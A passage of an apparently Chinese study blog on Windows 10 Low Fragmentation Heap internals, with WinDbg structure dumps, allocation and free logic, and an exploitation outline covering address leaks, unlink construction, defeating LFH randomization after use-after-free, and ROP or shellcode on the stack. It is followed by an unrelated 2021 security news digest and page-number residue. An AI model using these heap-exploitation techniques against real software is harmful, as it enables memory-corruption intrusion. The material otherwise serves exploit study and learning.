_HEAP结构中,frontEndHeap指针指向这一结构。 这个结构的话不同版本windows还不一样,贴个图: 这里看win10的就可以 0:001> dt _LFH_HEAPntdll!_LFH_HEAP +0x000 Lock : _RTL_SRWLOCK +0x008 SubSegmentZones : _LIST_ENTRY +0x018 Heap : Ptr64 Void //指向对应的_HEAP +0x020 NextSegmentInfoArrayAddress : Ptr64 Void +0x028 FirstUncommittedAddress : Ptr64 Void +0x030 ReservedAddressLimit : Ptr64 Void +0x038 SegmentCreate : Uint4B 可以看到这结构体类似于_HEAP,包含了很多指针信息,这其中又有两个结构体需要分析一下。 _HEAP_BUCKET ntdll!_HEAP_BUCKET +0x000 BlockUnits : Uint2B //分配block大小>>4 +0x002 SizeIndex : UChar //使用大小>>4 +0x003 UseAffinity : Pos 0, 1 Bit +0x003 DebugFlags : Pos 1, 2 Bits +0x003 Flags : UChar _HEAP_LOCAL_SEGMENT_INFO ntdll!_HEAP_LOCAL_SEGMENT_INFO +0x000 LocalData : Ptr64 _HEAP_LOCAL_DATA//对应 _LFH_HEAP->LocalData ,便于从 SegmentInfo 找回 _LFH_HEAP +0x008 ActiveSubsegment : Ptr64 _HEAP_SUBSEGMENT//对应已分配的Subsegment,用于管理userblock记录剩余多少chunk、最大分配书等等 +0x010 CachedItems : [16] Ptr64 _HEAP_SUBSEGMENT//_HEAP_SUBSEGMENT array 其中,cachedItems比较重要,其结构体为_HEAP_SUBSEGMENT: ntdll!_HEAP_SUBSEGMENT +0x000 LocalInfo : Ptr64 _HEAP_LOCAL_SEGMENT_INFO//指向对应的_HEAP_LOCAL_SEGMENT_INFO +0x008 UserBlocks : Ptr64 _HEAP_USERDATA_HEADER //记录要分配出去的chunk所在位置,开头存储一些metadata来管理这些chunk +0x010 DelayFreeList : _SLIST_HEADER +0x020 AggregateExchg : _INTERLOCK_SEQ //用来管理对应的userblock中还有多少free _INTERLOCK_SEQ ntdll!_INTERLOCK_SEQ +0x000 Depth : Uint2B //该userblock剩余freechunk的数量 +0x002 Hint : Pos 0, 15 Bits +0x002 Lock : Pos 15, 1 Bit +0x002 Hint16 : Uint2B +0x000 Exchg : Int4B _HEAP_USERDATA_HEADER ntdll!_HEAP_USERDATA_HEADER +0x000 SFreeListEntry : _SINGLE_LIST_ENTRY +0x000 SubSegment : Ptr64 _HEAP_SUBSEGMENT //指回对应的_HEAP_SUBSEGMENT +0x008 Reserved : Ptr64 Void +0x010 SizeIndexAndPadding : Uint4B +0x010 SizeIndex : UChar +0x011 GuardPagePresent : UChar +0x012 PaddingBytes : Uint2B +0x014 Sign 其中的EncodingOffset字段就是个验证,在USERBLOCK初始化时会生成这个数值作为验证用,其数值具体来说是以下四个值的xor: (sizeof(userblock header)) | (blockunit*0x10 << 16)LFHkeyUserblock addrLFH_HEAP addr 在_HEAP_USERDATA_HEADER之后就是一系列的chunks。 在LFH中,chunk虽然还是chunk,但是头部信息和之前学的chunk不一样 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: SubSegmentCode4bytesencode过的metadata,用来推回userblock的位置0xc: PreviousSIze2bytes该chunk在userblock中的index0xe: SegmentOffset1byte 0xf: UnusedByte1byte恒为0x80,用来判断是否为LFH的freechunk0x10: UserData 其中,SubSegmentCode的值为这四个值的xor: _HEAP addressLFHkeyChunk address >> 4((chunk address) - (UserBlock address)) << 12 搞了这么多结构体,头疼眼晕,好在angelboy大佬给出了LFHheap的overview: 管理机制 在之前的后端管理逻辑中已经对LFH这一概念有所提及。 申请 LFH涉及到初始化工作,具体来说就是查看size对应到的FrontEndHeapStatusBitmap使否有启用LFH如果有的话会对对应到的FrontEndHeapUsageData加上0x21,并且检查值是否超过0xff00或者 &0x1f 后超过0x10 : 超过则启用LFH。也就是在FrontEndHeapUsageData[x] & 0x1F > 0x10的时候,置位_HEAP->CompatibilityFlag |= 0x20000000,下一次Allocate就会对LFH进行初始化: 首先会ExtendFrontENdUsageData,也就是将这个数值增大,然后增加更大的_HEAP->BlocksIndex,因为这里_HEAP->BlocksIndex可以理解为一个_HEAP_LIST_LOOKUP结构的单向链表(参考上面Back-End的解释),且默认初始情况下只存在一个管理比较小的(0x0 ~ 0x80)的chunk的_HEAP_LIST_LOOKUP,所以这里会扩展到(0x80 ~ 0x400),即在链表尾追加一个管理更大chunk的_HEAP_LIST_LOOKUP结构体结点。 在 FrontEndHeapUsageData 写上对应的index,此时 enable LFH 范围变为 (idx: 0-0x400)FrontEndHeapUsageData中分为两部分:对应用于判断LFH是否需要初始化的map以及已经enable LFH的chunk size (例如enable malloc 0x50大小的chunk,则写入0x50>>4=5) 原BlocksIndex进行扩展,即新建一个BlocksIndex,写入原BlocksIndex->ExtendedLookup,进行扩展 建立并初始化_HEAP->FrontEndHeap(通过mmap),即初始化_LFH_HEAP的一些metadata。 建立并初始化_LFH_HEAP->SegmentInfoArrays[x],在SegmentInfoArrays[BucketIndex]处填上对应的_HEAP_LOCAL_SEGMENT_INFO结构体指针。 在初始化后,从LFH分配内存的逻辑为: 1.先看ActiveSubSegment中是否有可以分配的chunk,这个是否有的判断标准就是ActiveSubSegment->AggregateExchg->depth 2.如果没有就从CachedItem中找,找到的话会把ActiveSubSegment换成CachedItem中的SubSegment 到了这一步时,LFH分配器就找到了UserBlock,UserBlock中有很多的chunk可以供用户使用,LFH选取chunk的标准如下: 1.首先从RtlpLowFragHeapRandomData中下标为x处取一个值,这个名字很长的数组是一个长度为256byte的元素大小范围为0-0x7f的随机数数组,每次取,x都会自增1,如果x超过了256,那么x = rand()%256. 2.最终获取的index为RtlLowFragHeapRandomData[x]*maxidx >> 7,检查bitmap是否为0,如果冲突了的话就往后找最近的 3.检查(unused byte & 0x3f)!=0(表示chunk是free的) 4.最后设置index(chunk头部中的previoussize)和unusedbyte返回给用户。 释放 1.将unused位改成0x80 2.根据头部中的字段找到userblock,然后找会Subsegment,根据index设置bitmap 3.更新ActiveSubSegment->AggregateExchg 4.如果释放的chunk不属于当前的ActiveSubSegment就看一下能不能放到cachedItems中,可以就放进去。 利用方式 地址问题 先不考虑如何利用的事,首先关注最基本的问题,要泄漏什么地址?地址在哪? 假设我们有了任意内存地址读写,那么我们就需要泄漏一些关键的函数地址,比如说system,以及攻击的目标点,比如栈地址。 不同于linux,windows有一堆dll函数库。 这里,根据angelboy的slide,需要泄漏的地址为kernelbase以及stackaddress,这两个地址在kernel32.dll。 那么如何泄漏ntdll呢?_HEAP_LOCK相关的信息会指向ntdll,具体来说,就是_HEAP->LockVariable.Lock以及CriticalSection->DebugInfo 在ntdll!PebLdr中,_PEB_LDR_DATA可以找到所有dll的位置。 同样可以从IAT表中找到kernel32,不过需要先泄漏binary的地址。 在KERNELBASE!BasepFilterInfo中,会有大概率包含stack的指针,这个主要是因为内存没有初始化。 如果这个上面没有想要的地址,可以从PEB向后算一个page,通常会是TEB上,这上面也会有stack的地址信息。 攻击的话,angelboy提出的方式就是泄漏地址,然后攻击栈写rop或者shellcode。 后端利用方式 unlink 和linux中的unlink很像(都是双向链表的节点移除),但是绕过条件和linux不同,因为头部的信息不同,需要对一些encode的字段构造一下。还有就是flink和blink指向的是userdata部分。 具体构造就是p -> fd = &p-8, p->bk = &p. 前端利用方式 angelboy同样是只是草草的介绍了下如果有了uaf的话,如何绕过随机在LFHuserblock中分配到指定chunk的方式,具体来说就是填满其他的,下一次肯定就会落到目标点。那么有了uaf之后呢,劫持哪些指针劫持到哪里并没有说明。所以这里的话还需要后续调试的时候整理。 具体怎么攻击才叫合理?哪些攻击面呢? 由于Angelboy给的利用方式太少,而且比较笼统局限,所以我又参考了别的资料,想找到一些类似于linux堆利用手法的攻击方式。 然而现实打了我一巴掌,根据冠城大佬的ppt,在windows中,想通过攻击堆的头部或者其他字段来进行getshell几乎不可能,因为windows堆的防御机制十分严格。堆中比较合理的攻击手法似乎就只有unlink或者其他形式的修改函数指针的方式。
网络安全日报 2021年09月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Moxa 铁路通信设备受60个漏洞影响 https://www.securityweek.com/flaws-moxa-railway-devices-could-allow-hackers-cause-disruptions 2、BrakTooth:新的蓝牙漏洞可能影响数百万台设备 https://www.securityweek.com/braktooth-new-bluetooth-vulnerabilities-could-affect-millions-devices 3、Mozi 僵尸网络的作者已被抓捕 https://blog.netlab.360.com/the_death_of_mozi_cn/ 4、WhatApp 修复图像过滤功能可能导致数据泄露的高危漏洞 https://securityaffairs.co/wordpress/121778/security/whatsapp-cve-2020-1910-data-exposure.html 5、攻击者正在积极利用 Confluence 最近修补的漏洞 https://securityaffairs.co/wordpress/121760/hacking/confluence-cve-2021-26084-rce.html 6、Autodesk 证实遭 SolarWinds 供应链攻击 https://www.bleepingcomputer.com/news/security/autodesk-reveals-it-was-targeted-by-russian-solarwinds-hackers 7、法国药店在线平台泄露了70万Covid检测结果 https://www.connexionfrance.com/French-news/700000-French-pharmacy-Covid-test-results-left-publicly-available 8、英国 VoIP 运营商VoIP Unlimited 和 Voipfone 遭 DDoS 攻击中断 https://www.theregister.com/2021/09/02/uk_voip_telcos_revil_ransom/ 9、Node.js修补高危tar处理漏洞 https://portswigger.net/daily-swig/node-js-archives-serious-tar-handling-vulnerabilities-with-software-update 10、FTC 禁止 SpyFone 销售 Stalkerware 监视软件 https://www.securityweek.com/ftc-bans-spyfone-surveillance-business-selling-stalkerware
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页